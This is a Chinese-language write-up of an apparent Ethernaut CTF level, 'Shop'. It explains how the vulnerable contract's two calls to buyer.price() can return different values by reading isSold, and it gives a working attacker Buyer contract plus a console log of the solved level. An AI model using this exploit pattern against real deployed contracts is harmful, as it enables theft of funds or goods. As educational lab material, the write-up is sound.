Skip to content

Latest commit

 

History

History
150 lines (110 loc) · 4.47 KB

22_Shop.md

File metadata and controls

150 lines (110 loc) · 4.47 KB

22 Shop

思路

目标: 以低于目标价格成功购买

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Buyer {
  function price() external view returns (uint);
}

contract Shop {
  uint public price = 100;
  bool public isSold;

  function buy() public {
    Buyer _buyer = Buyer(msg.sender);

    if (_buyer.price() >= price && !isSold) {
      isSold = true;
      price = _buyer.price();
    }
  }
}

题目中的逻辑很简单, shop的buy函数会先检查购买者的出价, 如果大于目标价格(100)并且没有被售出, 则进行售出, 并将价格更新为购买这的出价.

思路:

问题出在Shop调用了2次_buyer.price(), 并假设 _buyer.price()始终返回相同的值

//检查出价
_buyer.price()
//实际出价
price = _buyer.price();

只要能在 _buyer.price()第一次被调用时返回一个大于或等于100的值, 而在第二次调用时返回一个很低的价格, 就能完成题目

if (is_the_first_call)
	return 100;
else
	return 1;

只可惜的是 buyer的buy函数被声明成了view (只读的) function price() external view returns (uint);

所以这个方法是行不通的: 在Buyer合约中声明类似is_the_first_call之类的变量并在调用price()是更新该变量, 第二次调用时检查该变量

那么只能在Buyer合约外找一个变化的标记物, 对, 就是 shop的isSold, 在第一次调用和第二次调用之间, 这个状态变量变化了.所以

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Shop {
    function buy(  ) external   ;
    function isSold(  ) external view returns (bool ) ;
    function price(  ) external view returns (uint256 ) ;
}

contract Buyer {

    Shop shop;

    constructor(address _target){
        shop = Shop(_target);
    }
    
    function price() public  view returns (uint)
    {
        if (!shop.isSold()){
            return 100;
        }else
        {
            return 1;
        }
    }

    function attack() public {
        shop.buy();
    }
}

参考答案

image

^^.js:45 ᕦ(ò_óˇ)ᕤ 正在从关卡获得新的实例... <  < <<请稍等>> >  >
redux-logger.js:1  action LOAD_LEVEL_INSTANCE @ 14:08:38.911
^^.js:140 ⛏️ Sent transaction ⛏ undefined/tx/0xd3261a5c4804a1b0cd33f195c51f8f2ad9c8b4cab984fe26a470f703bd217e4b
^^.js:35 => 实例地址0xB72aAB48b9B89FDa2C1CD7538E073eD56048fAA9
redux-logger.js:1  action LOAD_LEVEL_INSTANCE @ 14:08:44.672
^^.js:140 ⛏️ Mined transaction ⛏ undefined/tx/0xd3261a5c4804a1b0cd33f195c51f8f2ad9c8b4cab984fe26a470f703bd217e4b
redux-logger.js:1  action SET_BLOCK_NUM @ 14:08:50.385
redux-logger.js:1  action SET_BLOCK_NUM @ 14:11:30.473
await contract.isSold()
true
(await contract.price()).toString()
"1"
^^.js:45 | – _ – | 正在提交关卡实例... <  < <<请稍等>> >  >
redux-logger.js:1  action SUBMIT_LEVEL_INSTANCE @ 14:12:52.727
^^.js:140 ⛏️ Sent transaction ⛏ undefined/tx/0xf71738bd2a04b7c4eed5c0a6ec982e243469363b87be8a24dcd60c779a787f60
^^.js:73 ☚ (<‿<)☚ 牛逼!, 你通过了这关!!!
^^.js:73 ☚ (<‿<)☚ 牛逼!, 你通过了这关!!!
^^.js:73 ☚ (<‿<)☚ 牛逼!, 你通过了这关!!!
^^.js:73 ☚ (<‿<)☚ 牛逼!, 你通过了这关!!!
^^.js:73 ☚ (<‿<)☚ 牛逼!, 你通过了这关!!!
^^.js:73 ☚ (<‿<)☚ 牛逼!, 你通过了这关!!!
^^.js:73 ☚ (<‿<)☚ 牛逼!, 你通过了这关!!!
^^.js:73 ☚ (<‿<)☚ 牛逼!, 你通过了这关!!!
^^.js:73 ☚ (<‿<)☚ 牛逼!, 你通过了这关!!!
redux-logger.js:1  action SUBMIT_LEVEL_INSTANCE @ 14:12:59.744
^^.js:73 ☚ (<‿<)☚ 牛逼!, 你通过了这关!!!
^^.js:73 ☚ (<‿<)☚ 牛逼!, 你通过了这关!!!
^^.js:73 ☚ (<‿<)☚ 牛逼!, 你通过了这关!!!
^^.js:140 ⛏️ Mined transaction ⛏ undefined/tx/0xf71738bd2a04b7c4eed5c0a6ec982e243469363b87be8a24dcd60c779a787f60
^^.js:73 ☚ (<‿<)☚ 牛逼!, 你通过了这关!!!
^^.js:73 ☚ (<‿<)☚ 牛逼!, 你通过了这关!!!
^^.js:73 ☚ (<‿<)☚ 牛逼!, 你通过了这关!!!
^^.js:73 ☚ (<‿<)☚ 牛逼!, 你通过了这关!!!
^^.js:73 ☚ (<‿<)☚ 牛逼!, 你通过了这关!!!
^^.js:73 ☚ (<‿<)☚ 牛逼!, 你通过了这关!!!
^^.js:73 ☚ (<‿<)☚ 牛逼!, 你通过了这关!!!
^^.js:73 ☚ (<‿<)☚ 牛逼!, 你通过了这关!!!
^^.js:56 
redux-logger.js:1  action SET_BLOCK_NUM @ 14:13:00.391